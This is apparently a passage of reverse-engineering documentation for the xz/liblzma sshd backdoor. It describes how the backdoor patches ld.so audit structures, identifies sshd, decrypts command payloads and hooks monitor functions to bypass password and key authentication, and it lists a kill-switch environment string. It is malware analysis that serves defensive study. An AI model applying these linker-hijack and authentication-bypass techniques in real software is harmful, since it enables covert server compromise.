void* the value elf_entry_ctx_t::got_ptr if the cpuid() GOT entry was NULL, otherwise the return value of backdoor_init_stage2()

◆ backdoor_init_stage2()

BOOL backdoor_init_stage2 ( elf_entry_ctx_t ctx,
u64 *  caller_frame,
void **  cpuid_got_addr,
backdoor_cpuid_reloc_consts_t reloc_consts 
)
Parameters
ctxholds values needed to setup the _cpuid(), passed to backdoor_init_stage2()
caller_framestores the value of __builtin_frame_address(0)-16 from within context of the INFUN resolver
cpuid_got_addraddress of the cpuid() GOT entry
reloc_constspointer to cpuid_reloc_consts
Returns
BOOL the value elf_entry_ctx_t::got_ptr if the cpuid() GOT entry was NULL, otherwise the return value of backdoor_init_stage2()

◆ backdoor_setup()

BOOL backdoor_setup ( backdoor_setup_params_t params)

the backdoor main method that installs the backdoor_symbind64() callback

If the backdoor initialization steps are successful the final step modifies some ld.so private structures to simulate a LD_AUDIT library and install the backdoor_symbind64() as a symbind callback.

To pass the various conditions in ld.so's _dl_audit_symbind_alt the following fields are modified:

  • the sshd and libcrypto struct link_map::l_audit_any_plt flag is set to 1
  • the sshd struct auditstate::bindflags is set to LA_FLG_BINDFROM
  • the libcrypto struct auditstate::bindflags is set to LA_FLG_BINDTO
  • _rtld_global_ro::_dl_audit is set to point to ldso_ctx_t::hooked_audit_iface
  • the struct audit_ifaces::symbind64 is set to backdoor_symbind64()
  • _rtld_global_ro::_dl_naudit is set to 1

After the modifications backdoor_symbind64() will be called for all symbol bindings from sshd to libcrypto.

Parameters
paramsparameters from backdoor_init_stage()
Returns
BOOL unused, always return FALSE

◆ backdoor_symbind64()

uintptr_t backdoor_symbind64 ( Elf64_Sym *  sym,
unsigned int  ndx,
uptr *  refcook,
uptr *  defcook,
unsigned int  flags,
const char *  symname 
)

the backdoored symbind64 installed in GLRO(dl_audit)

Parameters
sym
ndx
refcook
defcook
flags
symname
Returns
uintptr_t

◆ bignum_serialize()

BOOL bignum_serialize ( u8 *  buffer,
u64  bufferSize,
u64 *  pOutSize,
const BIGNUM *  bn,
imported_funcs_t funcs 
)

Serializes the BIGNUM bn to the buffer buffer.

Parameters
bufferthe destination buffer to write the bignum to
bufferSizesize of the destination buffer
pOutSizepointer to a variable that will receive the number of bytes written to the buffer
bnthe BIGNUM to serialize
funcs
Returns
BOOL TRUE if successfully serialized, FALSE otherwise

◆ chacha_decrypt()

BOOL chacha_decrypt ( u8 *  in,
int  inl,
u8 *  key,
u8 *  iv,
u8 *  out,
imported_funcs_t funcs 
)

decrypts a buffer with chacha20

Parameters
inthe input buffer to decrypt
inlthe length of the input buffer
keythe 256bit chacha key
ivthe 128bit chacha iv
outthe output buffer
funcsOpenSSL imported functions
Returns
BOOL TRUE if successful, FALSE otherwise

◆ check_backdoor_state()

BOOL check_backdoor_state ( global_context_t ctx)

checks if the backdoor state is the expected one (FIXME: which?)

Parameters
ctxthe global context
Returns
BOOL TRUE if the backdoor state is in the expected state, FALSE otherwise

◆ contains_null_pointers()

BOOL contains_null_pointers ( void **  pointers,
unsigned int  num_pointers 
)

checks if the given array of pointers contains any NULL pointer

Parameters
pointersarray of pointers to check
num_pointersnumber of pointers to check
Returns
BOOL TRUE if pointers contains any NULL pointer, FALSE if all pointers are non-NULL

◆ count_bits()

u32 count_bits ( u64  x)

returns the number of 1 bits in x

Parameters
x
Returns
u32 number of 1 bits

◆ count_pointers()

BOOL count_pointers ( void **  ptrs,
u64 *  count_out,
libc_imports_t funcs 
)

count the number of non-NULL pointers in the malloc'd memory block ptrs

Parameters
ptrspointer to a malloc'd memory block
count_outwill be filled with the number of non-NULL pointers
funcsused for malloc_usable_size
Returns
BOOL TRUE if the operation succeeded, FALSE otherwise

◆ decrypt_payload_message()

BOOL decrypt_payload_message ( void *  payload,
size_t  payload_size,
global_context_t ctx 
)

decrypts the given backdoor payload

Parameters
payloadpayload data
payload_sizesize of payload data
ctxthe global context
Returns
BOOL TRUE if successfully decrypted, FALSE otherwise

◆ dsa_key_hash()

BOOL dsa_key_hash ( const DSA *  dsa,
u8 *  mdBuf,
u64  mdBufSize,
global_context_t ctx 
)

obtains a SHA256 hash of the supplied RSA key

Parameters
dsathe DSA key to hash
mdBufbuffer to write the resulting digest to
mdBufSizesize of the buffer indicated by mdBuf
ctx
Returns
BOOL TRUE if the hash was successfully generated, FALSE otherwise

◆ dummy_tls_get_addr()

void* dummy_tls_get_addr ( tls_index ti)

a dummy function that calls __tls_get_addr, to make sure its GOT slot doesn't get removed by compiler optimizations

Parameters
ti
Returns
void*

◆ elf_contains_vaddr()

BOOL elf_contains_vaddr ( elf_info_t elf_info,
void *  vaddr,
u64  size,
u32  p_flags 
)

checks if given ELF file contains the range [vaddr, vaddr+size) in a segment with the specified memory protection flags

Parameters
elf_infoelf context
vaddrstarting memory address
sizememory size
p_flagsthe expected segment protection flags (PF_*)
Returns
BOOL TRUE if found, FALSE otherwise

◆ elf_contains_vaddr_relro()

BOOL elf_contains_vaddr_relro ( elf_info_t elf_info,
u64  vaddr,
u64  size,
u32  p_flags 
)

checks if given ELF file contains the range [vaddr, vaddr+size) in the gnurelro segment

Parameters
elf_infoelf context
vaddrstarting memory address
sizememory size
p_flagsthe expected segment protection flags (PF_*). must be non-zero
Returns
BOOL TRUE if found, FALSE otherwise

◆ elf_find_function_pointer()

BOOL elf_find_function_pointer ( StringXrefId  xref_id,
void **  pOutCodeStart,
void **  pOutCodeEnd,
void **  pOutFptrAddr,
elf_info_t elf_info,
string_references_t xrefs,
global_context_t ctx 
)

this function searches for a function pointer, pointing to a function designated by the given xref_id

Parameters
xref_idthe index to use to retrieve the function from xrefs
pOutCodeStartoutput variable that will receive the function start address
pOutCodeEndoutput variable that will receive the function end address
pOutFptrAddroutput variable that will receive the address of the function pointer
elf_infosshd elf context
xrefsarray of resolved functions, filled by elf_find_string_references
ctxthe global context. used to retrieve the 'uses_endbr64' field
Returns
BOOL TRUE if the function pointer was found, FALSE otherwise

◆ elf_find_string()

char* elf_find_string ( elf_info_t elf_info,
EncodedStringId *  stringId_inOut,
void *  rodata_start_ptr 
)

Locates a string in the ELF .rodata section.

Parameters
elf_infothe ELF context to use for the search
stringId_inOutmandatory pointer to an encoded string ID.
  • if the referenced string ID is 0, the first matching string (in the string table) will stop the search, and the matching string ID will be written to the pointer.
  • if the referenced string ID is not 0, the search will look for that specific string ID, and the value will not be updated.
rodata_start_ptrlocation in the rodata section to start the search from
Returns
char* pointer to the string, or NULL if it couldn't be found

◆ elf_find_string_reference()

u8* elf_find_string_reference ( elf_info_t elf_info,
EncodedStringId  encoded_string_id,
u8 *  code_start,
u8 *  code_end 
)

finds an instruction that references the given string

Parameters
elf_infothe parsed ELF context
encoded_string_idthe string to search for, in encoded form
code_startaddress to start searching from
code_endaddress to stop searching at
Returns
u8* the address of the first instruction that references the given string, or NULL if not found

◆ elf_find_string_references()

BOOL elf_find_string_references ( elf_info_t elf_info,
string_references_t refs 
)

parses the ELF rodata section, looking for strings and the instructions that reference them

Parameters
elf_infothe executable to find strings in
refsstructure that will be populated with the results
Returns
BOOL

◆ elf_get_code_segment()

void* elf_get_code_segment ( elf_info_t elf_info,
u64 *  pSize 
)

Obtains the address and size of the first executable segment in the given ELF file.

Parameters
elf_infothe parsed ELF context, which will be updated with the address and size of the code segment
pSizevariable that will be populated with the page-aligned segment size
Returns
void* the page-aligned starting address of the segment

◆ elf_get_data_segment()

void* elf_get_data_segment ( elf_info_t elf_info,
u64 *  pSize,
BOOL  get_alignment 
)

Obtains the address and size of the last read-write segment in the given ELF file this is typically the segment that contains the following sections:

  • .init_array .fini_array .data.rel.ro .dynamic .got

the parameter get_alignment controls if pSize should be populated with the segment size (when FALSE), or with the segment alignment (when TRUE)

Used to store data in the free space after the segment created due to alignment:

  • for liblzma at (return value + 0x10) is the backdoor_hooks_data_t struct pointed to by hooks_data_addr
Parameters
elf_infothe parsed ELF context, which will be updated with the address and size of the data segment
pSizevariable that will be populated with either the page-aligned segment size, or the alignment size
get_alignmentcontrols if alignment size should be returned instead of segment size
Returns
void* the page-aligned starting address of the segment

◆ elf_get_got_symbol()

void* elf_get_got_symbol ( elf_info_t elf_info,
EncodedStringId  encoded_string_id 
)

Gets the GOT symbol with name encoded_string_id from the parsed ELF file.

Parameters
elf_infothe parsed ELF context
encoded_string_idsymbol to look for (encoded)
Returns
void* the address of the symbol, or NULL if not found

◆ elf_get_plt_symbol()

void* elf_get_plt_symbol ( elf_info_t elf_info,
EncodedStringId  encoded_string_id 
)

Gets the PLT symbol with name encoded_string_id from the parsed ELF file.

Parameters
elf_infothe parsed ELF context
encoded_string_idsymbol to look for (encoded)
Returns
void* the address of the symbol, or NULL if not found

◆ elf_get_reloc_symbol()

void* elf_get_reloc_symbol ( elf_info_t elf_info,
Elf64_Rela *  relocs,
u32  num_relocs,
u64  reloc_type,
EncodedStringId  encoded_string_id 
)

Searches the ELF relocations for a symbol having name encoded_string id and relocation of type reloc_type.

Parameters
elf_infothe parsed ELF context
relocsarray of relocations to search in
num_relocsnumber of items in the array pointed by relocs
reloc_typetype of relocation to consider (R_X86_64_*)
encoded_string_idsymbol to look for (encoded)
Returns
void* the address of the symbol, or NULL if not found

◆ elf_get_rodata_segment()

void* elf_get_rodata_segment ( elf_info_t elf_info,
u64 *  pSize 
)

Obtains the address and size of the last readonly segment in the given ELF file this corresponds to the segment that typically contains .rodata.

Parameters
elf_infothe parsed ELF context, which will be updated with the address and size of the rodata segment
pSizevariable that will be populated with the page-aligned segment size
Returns
void* the page-aligned starting address of the segment

◆ elf_parse()

BOOL elf_parse ( Elf64_Ehdr *  ehdr,
elf_info_t elf_info 
)

Parses the given in-memory ELF file into elf_info.

Parameters
ehdrpointer to the beginning of the ELF header
elf_infopointer to the structure that will hold the parsed information
Returns
BOOL TRUE if parsing completed successfully, FALSE otherwise

◆ elf_symbol_get()

Elf64_Sym* elf_symbol_get ( elf_info_t elf_info,
EncodedStringId  encoded_string_id,
EncodedStringId  sym_version 
)

Looks up an ELF symbol from a parsed ELF.

Parameters
elf_infothe parsed ELF context
encoded_string_idstring ID of the symbol name
sym_versionoptional string representing the symbol version (e.g. "GLIBC_2.2.5")
Returns
Elf64_Sym* pointer to the ELF symbol, or NULL if not found

◆ elf_symbol_get_addr()

void* elf_symbol_get_addr ( elf_info_t elf_info,
EncodedStringId  encoded_string_id 
)

Looks up an ELF symbol from a parsed ELF, and returns its memory address.

Parameters
elf_infothe parsed ELF context
encoded_string_idstring ID of the symbol name
Returns
void* the address of the symbol

◆ fake_lzma_alloc()

void* fake_lzma_alloc ( void *  opaque,
size_t  nmemb,
size_t  size 
)

a fake alloc function called by lzma_alloc() that then calls elf_symbol_get_addr()

Parameters
opaquethe parsed ELF context (elf_info_t*)
nmembnot used
sizestring ID of the symbol name (EncodedStringId)
Returns
void* the address of the symbol

◆ fake_lzma_free()

void fake_lzma_free ( void *  opaque,
void *  ptr 
)

a fake free function called by lzma_free()

this function is a red herring as it is does nothing except make it look like lzma_alloc() is the real deal

Parameters
opaquenot used
ptrnot used

◆ fd_read()

ssize_t fd_read ( int  fd,
void *  buffer,
size_t  count,
libc_imports_t funcs 
)

reads data from the specified file descriptor

Parameters
fdthe file descriptor to read from
bufferthe buffer to read data to
countnumber of bytes to read
funcsimported libc functions
Returns
ssize_t number of bytes read, or -1 on error

◆ fd_write()

ssize_t fd_write ( int  fd,
void *  buffer,
size_t  count,
libc_imports_t funcs 
)

reads data to the specified file descriptor

Parameters
fdthe file descriptor to write to
bufferdata to write
countnumber of bytes to write
funcsimported libc functions
Returns
ssize_t number of bytes written, or -1 on error

◆ find_add_instruction_with_mem_operand()

BOOL find_add_instruction_with_mem_operand ( u8 *  code_start,
u8 *  code_end,
dasm_ctx_t dctx,
void *  mem_address 
)

finds an ADD instruction with an immediate memory operand

Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
dctxdisassembler context to hold the state
mem_addressthe expected address of the memory access
Returns
BOOL TRUE if found, FALSE otherwise

◆ find_addr_referenced_in_mov_instruction()

void* find_addr_referenced_in_mov_instruction ( StringXrefId  id,
string_references_t refs,
void *  mem_range_start,
void *  mem_range_end 
)

find an address referenced in a function

Note: There are some additional requirements on the mov instruction.

Parameters
idthe id of the function to look in
refsthe string references
mem_range_startthe start of the range the address lies within
mem_range_endthe end of the range the address lies within
Returns
the address referenced if the exepected mov is found, or NULL otherwise

◆ find_call_instruction()

BOOL find_call_instruction ( u8 *  code_start,
u8 *  code_end,
u8 *  call_target,
dasm_ctx_t dctx 
)

finds a call instruction

Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
call_targetoptional call target address. pass 0 to find any call
dctxempty disassembler context to hold the state
Returns
BOOL TRUE if found, FALSE otherwise

◆ find_dl_audit_offsets()

BOOL find_dl_audit_offsets ( backdoor_data_handle_t data,
ptrdiff_t *  libname_offset,
backdoor_hooks_data_t hooks,
imported_funcs_t imported_funcs 
)

Find the various offsets in ld.so that need modification to trigger _dl_audit_symbind_alt() to call backdoor_symbind64().

First, this function finds the location and size of ld.so's _dl_audit_symbind_alt().

This function then calls find_link_map_l_name(), find_dl_naudit() and find_link_map_l_audit_any_plt() to get the various offsets required to modify ld.so's private audit state so that _dl_audit_symbind_alt() will call backdoor_symbind64().

Parameters
data
libname_offsetoutput of the offset from the start of the link_map to the location directly after where the link_map::l_name string data is stored
hooks
imported_funcs
Returns
BOOL TRUE if successful, FALSE otherwise

◆ find_dl_naudit()

BOOL find_dl_naudit ( elf_info_t dynamic_linker_elf,
elf_info_t libcrypto_elf,
backdoor_hooks_data_t hooks,
imported_funcs_t imported_funcs 
)

Find __rtld_global_ro offsets required to modify ld.so's private struct audit_ifaces state.

First, this function disassembles ld.so to search for the assert(GLRO(dl_naudit) <= naudit) from _dl_main(). This assert has a LEA instruction with an offset to ld.so's __rtld_global_ro::_dl_naudit.

This function disassembles ld.so's _dl_audit_symbind_alt() to verify it contains a LEA instruction with an offset that matches __rtld_global_ro::_dl_naudit.

This function then sets ldso_ctx::dl_naudit_offset and ldso_ctx::dl_naudit_offset to the offset from the start of __rtld_global_ro to __rtld_global_ro::_dl_naudit and __rtld_global_ro::_dl_audit respectively.

This function also resolves a number of libcrypto function addresses.

Parameters
dynamic_linker_elfelf_info_t for ld.so
libcrypto_elfelf_info_t for libcrypto
hooks
imported_funcs
Returns
BOOL TRUE if successful, FALSE otherwise

◆ find_function()

BOOL find_function ( u8 *  code_start,
void **  func_start,
void **  func_end,
u8 *  search_base,
u8 *  code_end,
FuncFindType  find_mode 
)

locates the function boundaries.

Parameters
code_startaddress to start searching from
func_startif provided, will be filled with the function's start address
func_endif provided, will be filled with the function's end address
search_baselowest search address, where search will be aborted
code_endaddress to stop searching at
find_mode
Returns
BOOL

◆ find_function_prologue()

BOOL find_function_prologue ( u8 *  code_start,
u8 *  code_end,
u8 **  output,
FuncFindType  find_mode 
)

locates the function prologue

Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
outputpointer to receive the resulting prologue address, if found
find_modeprologue search mode/strategy
Returns
BOOL TRUE if found, FALSE otherwise

◆ find_instruction_with_mem_operand()

BOOL find_instruction_with_mem_operand ( u8 *  code_start,
u8 *  code_end,
dasm_ctx_t dctx,
void *  mem_address 
)

finds a LEA or MOV instruction with an immediate memory operand

Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
dctxdisassembler context to hold the state
mem_addressthe address of the memory fetch (where the instruction will fetch from)
Returns
BOOL TRUE if an instruction was found, FALSE otherwise

◆ find_instruction_with_mem_operand_ex()

BOOL find_instruction_with_mem_operand_ex ( u8 *  code_start,
u8 *  code_end,
dasm_ctx_t dctx,
int  opcode,
void *  mem_address 
)

finds an instruction with an immediate memory operand

Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
dctxdisassembler context to hold the state
opcodeopcode to look for, in encoded form (+0x80)
mem_addressthe expected address of the memory access
Returns
BOOL TRUE if found, FALSE otherwise

◆ find_lea_instruction()

BOOL find_lea_instruction ( u8 *  code_start,
u8 *  code_end,
u64  displacement 
)

finds a lea instruction

Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
displacementthe memory displacement operand of the target lea instruction
Returns
BOOL TRUE if found, FALSE otherwise

◆ find_lea_instruction_with_mem_operand()

BOOL find_lea_instruction_with_mem_operand ( u8 *  code_start,
u8 *  code_end,
dasm_ctx_t dctx,
void *  mem_address 
)

finds a LEA instruction with an immediate memory operand

Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
dctxdisassembler context to hold the state
mem_addressthe expected address of the memory access
Returns
BOOL TRUE if found, FALSE otherwise

◆ find_link_map_l_audit_any_plt()

BOOL find_link_map_l_audit_any_plt ( backdoor_data_handle_t data,
ptrdiff_t  libname_offset,
backdoor_hooks_data_t hooks,
imported_funcs_t imported_funcs 
)

Find struct link_map offset required to modify ld.so's private link_map::l_audit_any_plt state.

First, this function disassembles ld.so's _dl_audit_symbind_alt() to search for a MOVZX instruction that fetches the link_map::l_audit_any_plt. The first MOVZ instruction that uses an offset within the range from the start of struct link_map to libname_offset.

This function then calls find_link_map_l_audit_any_plt_bitmask() to get the bitmask required to modify link_map::l_audit_any_plt.

This function also resolves a libc function address.

Parameters
data
libname_offsetthe offset from the start of the link_map to the location directly after where the link_map::l_name string data is stored
hooks
imported_funcs
Returns
BOOL TRUE if successful, FALSE otherwise

◆ find_link_map_l_audit_any_plt_bitmask()

BOOL find_link_map_l_audit_any_plt_bitmask ( backdoor_data_handle_t data,
instruction_search_ctx_t search_ctx 
)

Find the bitmask required to modify ld.so's private link_map::l_audit_any_plt state.

First, this function disassembles ld.so's _dl_audit_symbind_alt() to search for a sequence of MOVZ, OR, and TEST instructions that fetch the link_map::l_audit_any_plt.

This function then sets ldso_ctx::sshd_link_map_l_audit_any_plt_addr to the offset to the address of sshd's link_map::l_audit_any_plt flag;

This function also sets ldso_ctx::l_audit_any_plt_bitmask to the bitmask that sets the link_map::l_audit_any_plt flag.

This function also resolves a number of libc and libcrypto function addresses.

Parameters
data
search_ctxthe instruction addresses to search as well as the offset and output registers of the instructions to match
Returns
BOOL TRUE if successful, FALSE otherwise

◆ find_link_map_l_name()

BOOL find_link_map_l_name ( backdoor_data_handle_t data_handle,
ptrdiff_t *  libname_offset,
backdoor_hooks_data_t hooks,
imported_funcs_t imported_funcs 
)

Find struct link_map offsets required to modify ld.so's private struct auditstate state.

This function inspects ld.so's private struct link_map for liblzma.

First, this function finds the end of the link_map by searching for the private link_map::l_relro_addr and link_map::l_relro_size with values that match liblzma's elf_info_t::gnurelro_vaddr and elf_info_t::gnurelro_memsize respectively.

This function then calculates libname_offset by searching for linkmap::l_name which points to a string stored just after the link_map by ld.so's _dl_new_object().

This function then sets ldso_ctx::libcrypto_l_name to the location of link_map::l_name for the libcrypto link_map.

This function disassembles ld.so's _dl_audit_preinit() and _dl_audit_symbind_alt() to verify both contain a LEA instruction with an offset that matches libname_offset.

This function also resolves a number of libc and libcrypto function addresses.

Parameters
data_handle
libname_offsetoutput of the offset from the start of the link_map to the location directly after where the link_map::l_name string data is stored
hooks
imported_funcs
Returns
BOOL TRUE if successful, FALSE otherwise

◆ find_mov_instruction()

BOOL find_mov_instruction ( u8 *  code_start,
u8 *  code_end,
BOOL  is_64bit_operand,
BOOL  load_flag,
dasm_ctx_t dctx 
)

finds a MOV instruction.

load_flag specifies if the desired MOV should be a load:

mov reg, [mem]

or a store

mov [mem], reg
Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
is_64bit_operandTRUE if MOV should have a 64bit operand, FALSE otherwise
load_flagTRUE if searching for load, FALSE for a store
dctxdisassembler context to hold the state
Returns
BOOL TRUE if found, FALSE otherwise

◆ find_mov_lea_instruction()

BOOL find_mov_lea_instruction ( u8 *  code_start,
u8 *  code_end,
BOOL  is_64bit_operand,
BOOL  load_flag,
dasm_ctx_t dctx 
)

like find_mov_instruction, but also considers LEA instructions

Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
is_64bit_operandTRUE if MOV should have a 64bit operand, FALSE otherwise
load_flagTRUE if searching for load, FALSE for a store
dctxdisassembler context to hold the state
Returns
BOOL TRUE if found, FALSE otherwise

◆ find_reg2reg_instruction()

BOOL find_reg2reg_instruction ( u8 *  code_start,
u8 *  code_end,
dasm_ctx_t dctx 
)

finds a reg2reg instruction

a reg2reg instruction is an x64 instruction with one of the following characteristics:

  • a primary opcode of 0x89 (MOV/JNS) or, alternatively, passing the following filter:
  • ((0x505050500000505uLL >> (((dctx->opcode) & 0xFF) + 0x7F)) & 1) != 0 NOTE: the opcode in 'dctx->opcode' is the actual opcode +0x80 TODO: inspect x64 manual to find the exact filter

the instruction must also satisfy the following conditions:

  • NOT have REX.B and REX.R set (no extension bits)
  • MODRM.mod must be 3 (register-direct addressing mode)
Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
dctxdisassembler context to hold the state
Returns
BOOL TRUE if found, FALSE otherwise

◆ find_string_reference()

u8* find_string_reference ( u8 *  code_start,
u8 *  code_end,
const char *  str 
)

finds an instruction that references the given string

Parameters
code_startaddress to start searching from
code_endaddress to stop searching at
strthe target of the string reference (i.e. the target of the LEA instruction)
Returns
u8* the address of the first instruction that references the given string, or NULL if not found

◆ get_cpuid_got_index()

u64 get_cpuid_got_index ( elf_entry_ctx_t ctx)

get the cpuid() GOT index

stores the index in elf_entry_ctx_t::cpuid_fn

Parameters
ctx
Returns
u64 cpuid() GOT index

◆ get_elf_functions_address()

elf_functions_t* get_elf_functions_address ( void  )

gets the address of the elf_functions

uses elf_functions_offset to get the address 0x2a0 bytes before elf_functions and then adds 0x268 to get the final address of elf_functions

  • Returns
    elf_functions_t*

◆ get_got_offset()

ptrdiff_t get_got_offset ( elf_entry_ctx_t ctx)

get the offset to the GOT

the offset is relative to the address of the symbol cpuid_random_symbol

stores the offset in elf_entry_ctx_t::got_offset

Parameters
ctx
Returns
ptrdiff_t offset to GOT from the symbol cpuid_random_symbol

◆ get_lzma_allocator()

lzma_allocator* get_lzma_allocator ( void  )

gets the fake LZMA allocator, used for imports resolution the "opaque" field of the structure holds a pointer to

See also
elf_info_t
Returns
lzma_allocator*

◆ get_lzma_allocator_address()

fake_lzma_allocator_t* get_lzma_allocator_address ( void  )

gets the address of the fake LZMA allocator

uses fake_lzma_allocator_offset to get the address 0x180 bytes before fake_lzma_allocator and then adds 0x160 to get the final address of fake_lzma_allocator

called in get_lzma_allocator()

Returns
fake_lzma_allocator_t*

◆ get_string_id()

EncodedStringId get_string_id ( const char *  string_begin,
const char *  string_end 
)

Get the.

See also
EncodedStringId for the given string the string will be consumed until one of the following condition is reached (whichever happens first):
  • 44 chars have been consumed (maximum string length)
  • string_end is supplied and has been reached
  • the string table has been exhausted
Parameters
string_beginthe string to get the ID for (max 44 chars)
string_endoptional string end pointer
Returns
EncodedStringId the string ID matching the input string, or 0 if not found

◆ get_tls_get_addr_random_symbol_got_offset()

ptrdiff_t get_tls_get_addr_random_symbol_got_offset ( elf_entry_ctx_t ctx)

get the tls_get_addr_random_symbol GOT offset

sets elf_entry_ctx_t::got_ptr = 0x2600 stores the index in elf_entry_ctx_t::got_offset

Parameters
ctx
Returns
ptrdiff_t tls_get_addr_random_symbol GOT offset

◆ init_elf_entry_ctx()

void init_elf_entry_ctx ( elf_entry_ctx_t ctx)

initialises the elf_entry_ctx_t

stores the address of the symbol cpuid_random_symbol in elf_entry_ctx_t::symbol_ptr stores the return address of the function that called the IFUNC resolver which is a stack address in ld.so calls get_got_offset() to update elf_entry_ctx_t::got_offset calls get_cpuid_got_index() to update elf_entry_ctx_t::cpuid_fn

Parameters
ctx

◆ init_hooks_ctx()

int init_hooks_ctx ( backdoor_hooks_ctx_t ctx)

Initializes the structure with hooks-related data.

Grabs the call addresses of the internal functions that will be installed into the hook locations.

Parameters
funcs
Returns
int

◆ init_imported_funcs()

BOOL init_imported_funcs ( imported_funcs_t imported_funcs)

Initializes the imported_funcs structure.

Parameters
funcsthe imported_funcs structure
Returns
BOOL TRUE if successful, FALSE otherwise (if the resolve count is incorrect)

◆ init_ldso_ctx()

void init_ldso_ctx ( ldso_ctx_t ldso_ctx)

initializes/resets ldso data

Parameters
ldso_ctx

◆ init_shared_globals()

int init_shared_globals ( backdoor_shared_globals_t shared_globals)

Initializes the backdoor_shared_globals structure.

Parameters
shared_globalsthe backdoor_shared_globals structure
Returns
int returns 0 on success, or 5 if shared_globals was NULL

◆ is_endbr64_instruction()

BOOL is_endbr64_instruction ( u8 *  code_start,
u8 *  code_end,
u32  low_mask_part 
)

Checks if the code between code_start and code_end is an endbr64 instruction.

the checks is encoded as following (note: An endbr64 instruction is encoded as F3 0F 1E FA)

// as 32bit quantities, so 0x10000f223 -> f223
(0xFA1E0FF3 + (0xE230 | 0x5E20000)) == 0xF223

and 0xE230 is always passed as an argument to prevent compiler optimizations and for further obfuscation.

Parameters
code_startpointer to the first byte of the instruction to test
code_endpointer to the last byte of the instruction to test
low_mask_partthe constant 0xE230
Returns
BOOL TRUE if the instruction is an endbr64, FALSE otherwise

◆ is_gnu_relro()

BOOL is_gnu_relro ( Elf64_Word  p_type,
u32  addend 
)

checks if the provided identifiers represent a PT_GNU_RELRO

Parameters
p_typeprogram header type
addendconstant 0xA0000000
Returns
BOOL TRUE if the supplied pt_type is PT_GNU_RELRO, FALSE otherwise

◆ is_payload_message()

BOOL is_payload_message ( u8 *  sshbuf_data,
size_t  sshbuf_size,
size_t *  pOutPayloadSize,
global_context_t ctx 
)

checks if the given sshbuf buffer contains a backdoor payload message

Parameters
sshbuf_datasshbuf data pointer
sshbuf_sizesize of sshbuf data
pOutPayloadSizeoutput variable that will be populated with the size of the backdoor payload, if found
ctxthe global context
Returns
BOOL TRUE if the given sshbuf contains a backdoor payload message, FALSE otherwise

◆ is_range_mapped()

BOOL is_range_mapped ( u8 *  addr,
u64  length,
global_context_t ctx 
)

verify if a memory range is mapped

Parameters
addrthe start address
lengththe length of the range to check
ctxa structure with a libc_import_t field at offset 0x10
Returns
BOOL TRUE if the whole range is mapped, FALSE otherwise

◆ main_elf_parse()

BOOL main_elf_parse ( main_elf_t main_elf)

Parses the main executable from the provided structure. As part of the process the arguments and environment is checked.

The main_elf_t::dynamic_linker_ehdr is set in backdoor_setup() by an interesting trick where the address of __tls_get_addr() is found via GOT in update_got_address(). Then a backwards search for the ELF header magic bytes from this address is performed to find the ld.so ELF header.

The function will succeed if the checks outlined in process_is_sshd (invoked by this function) are successful.

Parameters
main_elfThe main executable to parse.
Returns
BOOL TRUE if successful and all checks passed, or FALSE otherwise.

◆ mm_answer_authpassword_hook()

int mm_answer_authpassword_hook ( struct ssh *  ssh,
int  sock,
struct sshbuf *  m 
)

used to bypass password authentication by replying with a successful MONITOR_ANS_AUTHPASSWORD

Parameters
ssh
sock
m
Returns
int

◆ mm_answer_keyallowed_hook()

int mm_answer_keyallowed_hook ( struct ssh *  ssh,
int  sock,
struct sshbuf *  m 
)

runs the payload received from sshd_proxy_elevate, and then runs the original mm_answer_keyallowed function

Parameters
ssh
sock
m
Returns
int

◆ mm_answer_keyverify_hook()

int mm_answer_keyverify_hook ( struct ssh *  ssh,
int  sock,
struct sshbuf *  m 
)

used in conjunction with mm_answer_keyallowed_hook to bypass the key validity check

Parameters
ssh
sock
m
Returns
int

◆ mm_log_handler_hook()

void mm_log_handler_hook ( LogLevel  level,
int  forced,
const char *  msg,
void *  ctx 
)
Parameters
level
forced
msg
ctx

◆ process_is_sshd()

BOOL process_is_sshd ( elf_info_t elf,
u8 *  stack_end 
)

checks if the current process is sshd by inspecting argv and envp.

this is done by reading the top of the process stack ( represented by stack_end )

The following checks are performed:

  • that argv[0] is "/usr/sbin/sshd"
  • the remaining args all start with '-'
  • the args do not contain the '-d' or '-D' flags (which set sshd into debug or non-daemon mode)
  • that there is not any '\t' or '=' characters in the args
  • the environment variable strings do not start with any string from the encoded string table

In particular these environment strings:

  • "DISPLAY="
  • "LD_AUDIT="
  • "LD_BIND_NOT="
  • "LD_DEBUG="
  • "LD_PROFILE="
  • "LD_USE_LOAD_BIAS="
  • "LINES="
  • "TERM="
  • "WAYLAND_DISPLAY="
  • "yolAbejyiejuvnup=Evjtgvsh5okmkAvj"
Parameters
elfthe main ELF context
stack_endpointer to the top of the process stack, also known as __libc_stack_end
Returns
BOOL TRUE if the process is sshd, FALSE otherwise

◆ process_shared_libraries()

BOOL process_shared_libraries ( backdoor_shared_libraries_data_t data)

scans loaded libraries to identify interesting libraries

Parameters
datainput data for the function (will be duplicated, internally)
Returns
BOOL TRUE if successful, FALSE otherwise

◆ process_shared_libraries_map()

BOOL process_shared_libraries_map ( struct link_map *  r_map,
backdoor_shared_libraries_data_t data 
)

scans loaded libraries to identify interesting libraries and populate related data

Parameters
r_mapthe linked list of loaded libraries obtained from r_debug
datapointer to data that will be populated by the function
Returns
BOOL TRUE if successful, FALSE otherwise

◆ resolve_libc_imports()

BOOL resolve_libc_imports ( struct link_map *  libc,
elf_info_t libc_info,
libc_imports_t imports 
)

parses the libc ELF from the supplied link map, and resolves its imports

Parameters
libcthe loaded libc's link map (obtained by traversing r_debug->r_map)
libc_infopointer to an ELF context that will be populated with the parsed ELF information
importspointer to libc imports that will be populated with resolved libc function pointers
Returns
BOOL TRUE if successful, FALSE otherwise

◆ rsa_key_hash()

BOOL rsa_key_hash ( const RSA *  rsa,
u8 *  mdBuf,
u64  mdBufSize,
imported_funcs_t funcs 
)

obtains a SHA256 hash of the supplied RSA key

Parameters
rsathe RSA key to hash
mdBufbuffer to write the resulting digest to
mdBufSizesize of the buffer indicated by mdBuf
funcs
Returns
BOOL TRUE if the hash was successfully generated, FALSE otherwise

◆ run_backdoor_commands()

BOOL run_backdoor_commands ( RSA *  key,
global_context_t ctx,
BOOL *  do_orig 
)

